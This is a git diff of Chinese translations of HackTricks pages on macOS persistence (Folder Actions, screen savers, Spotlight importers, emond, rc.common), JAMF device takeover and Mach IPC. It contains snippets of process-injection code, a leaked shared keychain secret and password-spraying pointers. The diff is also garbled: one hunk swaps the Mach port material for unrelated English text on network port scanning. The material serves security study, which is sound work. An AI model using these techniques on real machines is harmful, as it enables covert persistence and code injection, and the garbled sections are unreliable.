mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
```
|
||||
然后,打开`Folder Actions Setup`应用程序,选择**您想要监视的文件夹**,并在您的情况下选择**`folder.scpt`**(在我的情况下,我称其为output2.scp):
|
||||
然后,打开`Folder Actions Setup`应用程序,选择**要监视的文件夹**,并在您的情况下选择**`folder.scpt`**(在我的情况下,我称其为output2.scp):
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
|
||||
现在,如果您使用**Finder**打开该文件夹,您的脚本将被执行。
|
||||
|
||||
|
@ -726,7 +728,7 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
|||
|
||||
现在,让我们尝试在没有GUI访问权限的情况下准备此持久性:
|
||||
|
||||
1. **将`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**复制到`/tmp`以备份:
|
||||
1. **将`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**复制到`/tmp`进行备份:
|
||||
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
|
||||
2. **删除**您刚刚设置的文件夹操作:
|
||||
|
||||
|
@ -771,7 +773,7 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
|||
|
||||
#### 描述和利用
|
||||
|
||||
在Dock中显示的所有应用程序都在plist文件中指定:**`~/Library/Preferences/com.apple.dock.plist`**
|
||||
出现在Dock中的所有应用程序都在plist文件中指定:**`~/Library/Preferences/com.apple.dock.plist`**
|
||||
|
||||
只需使用以下命令即可**添加一个应用程序**:
|
||||
|
||||
|
@ -899,7 +901,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.
|
|||
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
|
||||
|
||||
* 用于绕过沙箱的有用工具: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 但你最终会进入一个常见的应用程序沙箱
|
||||
* 但你将会进入一个常见的应用程序沙箱
|
||||
|
||||
#### 位置
|
||||
|
||||
|
@ -912,13 +914,13 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p
|
|||
* `~/Library/Screen Savers`
|
||||
* **触发器**: 选择屏幕保护程序
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
#### 描述和利用
|
||||
|
||||
在 Xcode 中创建一个新项目,并选择模板生成一个新的**屏幕保护程序**。然后,将代码添加到其中,例如以下代码以生成日志。
|
||||
|
||||
**构建**它,并将 `.saver` 捆绑包复制到**`~/Library/Screen Savers`**。然后,打开屏幕保护程序 GUI,只需点击它,它就会生成大量日志:
|
||||
**构建**它,并将 `.saver` 捆绑包复制到**`~/Library/Screen Savers`**。然后,打开屏幕保护程序 GUI,只需点击它,它就会生成大量的日志:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1028,9 +1030,9 @@ Spotlight是macOS内置的搜索功能,旨在为用户提供快速和全面访
|
|||
|
||||
Spotlight的底层机制涉及一个名为'mds'的中央进程,它代表**'元数据服务器'**。该进程协调整个Spotlight服务。此外,还有多个'mdworker'守护进程执行各种维护任务,例如索引不同类型的文件(`ps -ef | grep mdworker`)。这些任务通过Spotlight导入器插件或**".mdimporter bundles"**实现,这些插件使Spotlight能够理解和索引各种文件格式的内容。
|
||||
|
||||
这些插件或**`.mdimporter`** bundles位于前面提到的位置,如果出现新的bundle,它会在几分钟内加载(无需重新启动任何服务)。这些bundles需要指示它们可以管理哪种文件类型和扩展名,这样,当创建一个具有指定扩展名的新文件时,Spotlight将使用它们。
|
||||
这些插件或**`.mdimporter`** bundles位于先前提到的位置,如果出现新的bundle,它会在一分钟内加载(无需重新启动任何服务)。这些bundles需要指示它们可以管理哪种文件类型和扩展名,这样,当创建一个具有指定扩展名的新文件时,Spotlight将使用它们。
|
||||
|
||||
可以通过运行以下命令来**查找所有加载的`mdimporters`**:
|
||||
可以通过运行以下命令来找到所有加载的`mdimporters`:
|
||||
```bash
|
||||
mdimport -L
|
||||
Paths: id(501) (
|
||||
|
@ -1084,7 +1086,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
要创建自己的导入程序,您可以从此项目开始:[https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer),然后更改名称,**`CFBundleDocumentTypes`**并添加**`UTImportedTypeDeclarations`**以支持您想要支持的扩展名,并在**`schema.xml`**中反映它们。\
|
||||
然后,**更改**函数**`GetMetadataForFile`**的代码,以在创建具有已处理扩展名的文件时执行您的有效负载。
|
||||
|
||||
最后,**构建并复制您的新`.mdimporter`**到三个先前的位置之一,并可以通过**监视日志**或检查**`mdimport -L.`**来检查它何时加载。
|
||||
最后,**构建并复制您的新`.mdimporter`**到三个先前的位置之一,您可以通过**监视日志**或检查**`mdimport -L.`**来检查它何时加载。
|
||||
|
||||
### ~~首选项面板~~
|
||||
|
||||
|
@ -1131,7 +1133,7 @@ Writeup:[https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit
|
|||
|
||||
#### 描述和利用
|
||||
|
||||
定期脚本(**`/etc/periodic`**)是由配置在`/System/Library/LaunchDaemons/com.apple.periodic*`中的**启动守护程序**执行的。请注意,存储在`/etc/periodic/`中的脚本将以**文件的所有者**身份执行,因此对于潜在的特权升级,这将无效。
|
||||
定期脚本(**`/etc/periodic`**)是由配置在`/System/Library/LaunchDaemons/com.apple.periodic*`中的**启动守护程序**执行的。请注意,存储在`/etc/periodic/`中的脚本将以**文件的所有者**身份**执行**,因此这对于潜在的特权升级无效。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1358,7 +1360,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.
|
|||
|
||||
Apple 引入了一个名为 **emond** 的日志记录机制。看起来它从未完全开发,并且可能被 Apple 放弃以开发其他机制,但它仍然可用。
|
||||
|
||||
这个鲜为人知的服务对于 Mac 管理员来说可能没有太多用处,但对于威胁行为者来说,一个非常好的理由是将其用作一种持久性机制,大多数 macOS 管理员可能不知道要寻找的地方。检测 emond 的恶意使用不应该很困难,因为该服务的系统 LaunchDaemon 只会在一个地方寻找要运行的脚本:
|
||||
这个鲜为人知的服务对于 Mac 管理员可能没有太多用处,但对于威胁行为者来说,一个非常好的理由是将其用作一种持久性机制,大多数 macOS 管理员可能不知道要寻找的地方。检测 emond 的恶意使用不应该很困难,因为该服务的系统 LaunchDaemon 只会在一个地方寻找要运行的脚本:
|
||||
```bash
|
||||
ls -l /private/var/db/emondClients
|
||||
```
|
||||
|
@ -1433,10 +1435,10 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.
|
|||
### ~~/etc/rc.common~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
**在现代 MacOS 版本中,此方法不起作用**
|
||||
**在现代 MacOS 版本中不起作用**
|
||||
{% endhint %}
|
||||
|
||||
还可以在此处放置**在启动时执行的命令**。以下是常规 rc.common 脚本的示例:
|
||||
还可以在此处放置**在启动时执行的命令**。例如常规的 rc.common 脚本示例:
|
||||
```bash
|
||||
#
|
||||
# Common setup for startup scripts.
|
||||
|
@ -1540,7 +1542,7 @@ esac
|
|||
|
||||
* 你在一个**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
|
|
|
@ -43,7 +43,7 @@ JAMF可以运行**自定义脚本**(由系统管理员开发的脚本)、**
|
|||
|
||||
#### JAMF自注册
|
||||
|
||||
访问`https://<company-name>.jamfcloud.com/enroll/`等页面,查看是否启用了**自注册**。如果启用了,可能会**要求提供凭据**。
|
||||
访问类似`https://<company-name>.jamfcloud.com/enroll/`的页面,查看是否启用了**自注册**。如果启用了,可能会**要求输入凭据**。
|
||||
|
||||
你可以使用脚本[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py)进行密码喷洒攻击。
|
||||
|
||||
|
@ -53,15 +53,15 @@ JAMF可以运行**自定义脚本**(由系统管理员开发的脚本)、**
|
|||
|
||||
#### JAMF设备认证
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`jamf`**二进制文件包含了打开钥匙串的秘密,当时这个秘密是**共享**的,它是:**`jk23ucnq91jfu9aj`**。\
|
||||
**`jamf`**二进制文件包含了打开钥匙串的秘密,该秘密在发现时是**共享**的,它是:**`jk23ucnq91jfu9aj`**。\
|
||||
此外,jamf作为一个**LaunchDaemon**在**`/Library/LaunchAgents/com.jamf.management.agent.plist`**中持久存在。
|
||||
|
||||
#### 接管JAMF设备
|
||||
|
||||
**`jamf`**将使用的**JSS**(Jamf软件服务器)**URL**位于**`/Library/Preferences/com.jamfsoftware.jamf.plist`**中。\
|
||||
这个文件基本上包含了URL:
|
||||
该文件基本上包含了URL:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -132,7 +132,7 @@ sudo jamf policy -id 0
|
|||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
此外,还有一些针对MacOS的工具,可以自动枚举AD并与Kerberos进行交互:
|
||||
此外,还有一些针对MacOS的工具可用于自动枚举AD并与Kerberos进行交互:
|
||||
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound):MacHound是Bloodhound审计工具的扩展,允许在MacOS主机上收集和摄取Active Directory关系。
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost):Bifrost是一个Objective-C项目,旨在与macOS上的Heimdal krb5 API进行交互。该项目的目标是使用本地API在macOS设备上实现更好的Kerberos安全测试,而无需在目标上安装任何其他框架或软件包。
|
||||
|
|
|
@ -2,95 +2,101 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告**吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
## 通过端口进行Mach消息传递
|
||||
## Mach 通过端口进行消息传递
|
||||
|
||||
Mach使用**任务(task)**作为共享资源的**最小单位**,每个任务可以包含**多个线程**。这些**任务和线程与POSIX进程和线程一一对应**。
|
||||
### 基本信息
|
||||
|
||||
任务之间的通信通过Mach进程间通信(IPC)进行,利用单向通信通道。**消息通过端口传递**,端口类似于由内核管理的**消息队列**。
|
||||
Mach 使用 **任务(tasks)** 作为共享资源的 **最小单位**,每个任务可以包含 **多个线程**。这些 **任务和线程与 POSIX 进程和线程一一对应**。
|
||||
|
||||
每个进程都有一个**IPC表**,其中可以找到进程的**Mach端口**。Mach端口的名称实际上是一个数字(指向内核对象的指针)。
|
||||
任务之间的通信通过 Mach 进程间通信(IPC)进行,利用单向通信通道。**消息通过端口进行传输**,端口类似于由内核管理的 **消息队列**。
|
||||
|
||||
进程还可以将带有某些权限的端口名称**发送给其他任务**,内核将在**其他任务的IPC表**中创建此条目。
|
||||
每个进程都有一个 **IPC 表**,其中可以找到进程的 **Mach 端口**。Mach 端口的名称实际上是一个数字(指向内核对象的指针)。
|
||||
|
||||
端口权限定义了任务可以执行的操作,这对通信至关重要。可能的**端口权限**有:
|
||||
进程还可以将带有某些权限的端口名称 **发送给其他任务**,内核将在 **其他任务的 IPC 表中创建此条目**。
|
||||
|
||||
* **接收权限**,允许接收发送到端口的消息。Mach端口是MPSC(多生产者,单消费者)队列,这意味着整个系统中可能只有**一个接收权限与每个端口**相关联(与管道不同,多个进程可以同时持有对一个管道读端的文件描述符)。
|
||||
* 具有**接收权限的任务**可以接收消息并**创建发送权限**,从而可以发送消息。最初,只有**自己的任务对其端口具有接收权限**。
|
||||
### 端口权限
|
||||
|
||||
端口权限定义了任务可以执行的操作,对于这种通信至关重要。可能的 **端口权限** 有:
|
||||
|
||||
* **接收权限**,允许接收发送到端口的消息。Mach 端口是 MPSC(多生产者,单消费者)队列,这意味着整个系统中可能只有 **一个接收权限与每个端口** 相对应(与管道不同,多个进程可以同时持有对一个管道读端的文件描述符)。
|
||||
* 拥有 **接收权限的任务** 可以接收消息并 **创建发送权限**,从而可以发送消息。最初,只有 **自己的任务对其端口拥有接收权限**。
|
||||
* **发送权限**,允许向端口发送消息。
|
||||
* 发送权限可以**克隆**,因此拥有发送权限的任务可以克隆该权限并将其授予第三个任务。
|
||||
* 发送权限可以进行 **克隆**,因此拥有发送权限的任务可以克隆该权限并将其授予第三个任务。
|
||||
* **一次性发送权限**,允许向端口发送一条消息,然后消失。
|
||||
* **端口集权限**,表示一个**端口集**而不是单个端口。从端口集中出队一条消息会从其中一个包含的端口中出队。端口集可用于同时监听多个端口,类似于Unix中的`select`/`poll`/`epoll`/`kqueue`。
|
||||
* **死名称**,它不是实际的端口权限,而只是一个占位符。当一个端口被销毁时,所有现有的端口权限都变成死名称。
|
||||
* **端口集权限**,表示一个 _端口集_ 而不是单个端口。从端口集中出队一条消息会从其中一个包含的端口中出队。端口集可用于同时监听多个端口,类似于 Unix 中的 `select`/`poll`/`epoll`/`kqueue`。
|
||||
* **死命名**,不是实际的端口权限,而只是一个占位符。当一个端口被销毁时,所有对该端口的现有端口权限都变成死命名。
|
||||
|
||||
**任务可以将发送权限传输给其他任务**,使其能够发送消息回来。**发送权限也可以克隆**,因此任务可以复制并将权限授予第三个任务。这与一个称为**引导服务器**的中间进程结合使用,可以实现任务之间的有效通信。
|
||||
**任务可以将发送权限传输给其他任务**,使其能够发送消息回来。**发送权限也可以进行克隆**,因此任务可以复制并将权限授予第三个任务。这与一个称为 **引导服务器** 的中间进程结合使用,可以实现任务之间的有效通信。
|
||||
|
||||
### 建立通信
|
||||
|
||||
#### 步骤:
|
||||
|
||||
正如前面提到的,为了建立通信通道,涉及到**引导服务器**(mac中的**launchd**)。
|
||||
如前所述,为了建立通信通道,涉及到 **引导服务器**(mac 中的 **launchd**)。
|
||||
|
||||
1. 任务**A**初始化一个**新的端口**,在进程中获得一个**接收权限**。
|
||||
2. 作为接收权限的持有者,任务**A**为端口**生成一个发送权限**。
|
||||
3. 任务**A**通过引导注册过程与**引导服务器**建立**连接**,提供**端口的服务名称**和**发送权限**。
|
||||
4. 任务**B**与**引导服务器**交互,执行服务名称的引导**查找**。如果成功,**服务器复制从任务A接收到的发送权限**并将其**传输给任务B**。
|
||||
5. 获得发送权限后,任务**B**能够**构建**一条**消息**并将其**发送给任务A**。
|
||||
1. 任务 **A** 初始化一个 **新的端口**,在进程中获得一个 **接收权限**。
|
||||
2. 作为接收权限的持有者,任务 **A** **生成一个发送权限** 以供该端口使用。
|
||||
3. 任务 **A** 通过称为引导注册的过程,与 **引导服务器** 建立一个 **连接**,提供 **端口的服务名称** 和 **发送权限**。
|
||||
4. 任务 **B** 与 **引导服务器** 交互,执行引导 **查找服务名称** 的操作。如果成功,**服务器会复制从任务 A 接收到的发送权限**,并将其 **传输给任务 B**。
|
||||
5. 获得发送权限后,任务 **B** 能够 **构建** 一条 **消息** 并将其 **发送给任务 A**。
|
||||
6. 对于双向通信,通常任务 **B** 生成一个具有 **接收权限** 和 **发送权限** 的新端口,并将 **发送权限交给任务 A**,以便它可以向任务 B 发送消息(双向通信)。
|
||||
|
||||
引导服务器**无法对任务声称的服务名称进行身份验证**。这意味着一个任务可能潜在地**冒充任何系统任务**,例如虚假地**声称授权服务名称**,然后批准每个请求。
|
||||
引导服务器**无法对任务声称的服务名称进行身份验证**。这意味着一个任务有可能**冒充任何系统任务**,例如虚假地声称一个授权服务名称,然后批准每个请求。
|
||||
|
||||
然后,Apple将**系统提供的服务名称**存储在位于**SIP保护**目录`/System/Library/LaunchDaemons`和`/System/Library/LaunchAgents`中的安全配置文件中。引导服务器将为每个这些服务名称创建并持有一个**接收权限**。
|
||||
然后,Apple 将**系统提供的服务名称**存储在位于受 SIP 保护的目录 `/System/Library/LaunchDaemons` 和 `/System/Library/LaunchAgents` 中的安全配置文件中。引导服务器将为每个这些服务名称创建并持有一个 **接收权限**。
|
||||
|
||||
对于这些预定义服务,**查找过程稍有不同**。当查找服务名称时,launchd会动态启动服务。新的工作流程如下:
|
||||
对于这些预定义服务,**查找过程稍有不同**。当查找服务名称时,launchd 动态启动服务。新的工作流程如下:
|
||||
|
||||
* 任务**B**为服务名称**发起引导查找**。
|
||||
* **launchd**检查任务是否正在运行,如果没有,则**启动**它。
|
||||
* 任务**A**(服务)执行**引导签入**。在这里,**引导**服务器创建一个发送权限,保留它,并将**接收权限传输给任务A**。
|
||||
* launchd复制**发送权限并将其发送给任务B**。
|
||||
* 任务 **B** 启动一个引导 **查找**,查找一个服务名称。
|
||||
* **launchd** 检查任务是否正在运行,如果没有,则 **启动** 它。
|
||||
* 任务 **A**(服务)执行引导 **签入**。在这里,引导服务器创建一个发送权限,保留它,并将 **接收权限传输给任务 A**。
|
||||
* launchd 复制 **发送权限并将其发送给任务 B**。
|
||||
* 任务 **B** 生成一个具有 **接收权限** 和 **发送权限** 的新端口,并将 **发送权限交给任务 A**(svc),以便它可以向任务 B 发送消息(双向通信)。
|
||||
|
||||
然而,此过程仅适用于预定义的系统任务。非系统任务仍然按照最初的描述进行操作,这可能导致冒充。
|
||||
### Mach消息
|
||||
|
||||
Mach消息是使用**`mach_msg`函数**(本质上是一个系统调用)发送或接收的。在发送时,此调用的第一个参数必须是**消息**,它必须以**`mach_msg_header_t`**开头,后跟实际的有效载荷:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
mach_msg_size_t msgh_size;
|
||||
mach_port_t msgh_remote_port;
|
||||
mach_port_t msgh_local_port;
|
||||
mach_port_name_t msgh_voucher_port;
|
||||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
可以**接收**mach端口上的消息的进程被称为持有_**接收权限**_,而**发送者**持有_**发送**_或_**发送一次**_的_**权限**_。发送一次权限只能用于发送一条消息,然后就会失效。
|
||||
|
||||
为了实现简单的**双向通信**,进程可以在mach消息头中指定一个称为回复端口(**`msgh_local_port`**)的mach端口,消息的**接收者**可以通过该端口向该消息发送回复。**`msgh_bits`**中的位标志可以用于指示应为该端口派生和传输一个**发送一次**权限(`MACH_MSG_TYPE_MAKE_SEND_ONCE`)。
|
||||
|
||||
{% hint style="success" %}
|
||||
请注意,这种双向通信在期望有回复的XPC消息中使用(`xpc_connection_send_message_with_reply`和`xpc_connection_send_message_with_reply_sync`)。但通常会像之前解释的那样创建不同的端口来创建双向通信。
|
||||
{% endhint %}
|
||||
|
||||
消息头的其他字段包括:
|
||||
|
||||
* `msgh_size`:整个数据包的大小。
|
||||
* `msgh_remote_port`:发送该消息的端口。
|
||||
* `msgh_voucher_port`:[mach凭证](https://robert.sesek.com/2023/6/mach\_vouchers.html)。
|
||||
* `msgh_id`:该消息的ID,由接收者解释。
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,**mach消息是通过mach端口发送的**,这是一个内置于mach内核中的**单接收者**、**多发送者**的通信通道。**多个进程**可以向mach端口发送消息,但在任何时刻只有**一个进程可以从中读取**。
|
||||
{% endhint %}
|
||||
|
||||
然而,此过程仅适用于预定义的系统任务。非系统任务仍然按照最初的描述进行操作,这可能潜在地允许冒充。
|
||||
### 枚举端口
|
||||
|
||||
To enumerate ports on a macOS system, you can use various tools and techniques. Here are a few methods you can try:
|
||||
|
||||
#### 1. Using `nmap`
|
||||
|
||||
[nmap](https://nmap.org/) is a powerful network scanning tool that can be used to enumerate ports on a target system. You can install `nmap` on macOS using package managers like [Homebrew](https://brew.sh/). Once installed, you can run the following command to scan for open ports:
|
||||
|
||||
```bash
|
||||
nmap -p- <target_ip>
|
||||
```
|
||||
|
||||
This command will scan all ports on the target IP address and display the open ports.
|
||||
|
||||
#### 2. Using `netstat`
|
||||
|
||||
`netstat` is a command-line tool available on macOS that can display active network connections and listening ports. You can use the following command to list all listening ports:
|
||||
|
||||
```bash
|
||||
netstat -an | grep LISTEN
|
||||
```
|
||||
|
||||
This command will show all the ports that are currently in a listening state.
|
||||
|
||||
#### 3. Using `lsof`
|
||||
|
||||
`lsof` is another command-line tool that can be used to list open files, including network connections and listening ports. You can use the following command to list all open ports:
|
||||
|
||||
```bash
|
||||
sudo lsof -i -P | grep LISTEN
|
||||
```
|
||||
|
||||
This command will display all the open ports on your macOS system.
|
||||
|
||||
These are just a few methods to enumerate ports on a macOS system. Depending on your specific requirements, you may need to use additional tools or techniques.
|
||||
```bash
|
||||
lsmp -p <pid>
|
||||
```
|
||||
|
@ -323,7 +329,7 @@ performMathOperations(); // Silent action
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% tab title="entitlements.plist" %}权限清单.plist
|
||||
{% tab title="entitlements.plist" %}权限清单.plist{% endtab %}
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
|
@ -782,20 +788,19 @@ memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));
|
|||
remoteStack64 += (STACK_SIZE / 2); // 这是真正的堆栈
|
||||
//remoteStack64 -= 8; // 需要 16 字节对齐
|
||||
|
||||
const char *p = (const char *)remoteCode64;
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
||||
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t)remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t)remoteStack64;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
|
||||
printf("远程堆栈 64 0x%llx,远程代码为 %p\n", remoteStack64, p);
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t)&remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr, "无法创建远程线程:错误 %s", mach_error_string(kr));
|
||||
return (-3);
|
||||
}
|
||||
|
@ -803,12 +808,12 @@ if (kr != KERN_SUCCESS)
|
|||
return (0);
|
||||
}
|
||||
|
||||
int main(int argc, const char *argv[])
|
||||
int main(int argc, const char * argv[])
|
||||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
fprintf(stderr, "用法:%s _pid_ _action_\n", argv[0]);
|
||||
fprintf(stderr, " _action_:磁盘上 dylib 的路径\n");
|
||||
fprintf(stderr, " _action_:磁盘上的 dylib 路径\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
|
@ -817,8 +822,7 @@ const char *action = argv[2];
|
|||
struct stat buf;
|
||||
|
||||
int rc = stat(action, &buf);
|
||||
if (rc == 0)
|
||||
inject(pid, action);
|
||||
if (rc == 0) inject(pid, action);
|
||||
else
|
||||
{
|
||||
fprintf(stderr, "找不到 dylib\n");
|
||||
|
@ -865,15 +869,17 @@ MIG被创建用于简化Mach IPC代码的生成过程。它基本上为服务器
|
|||
* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
||||
* [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
|
||||
* [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
|
||||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
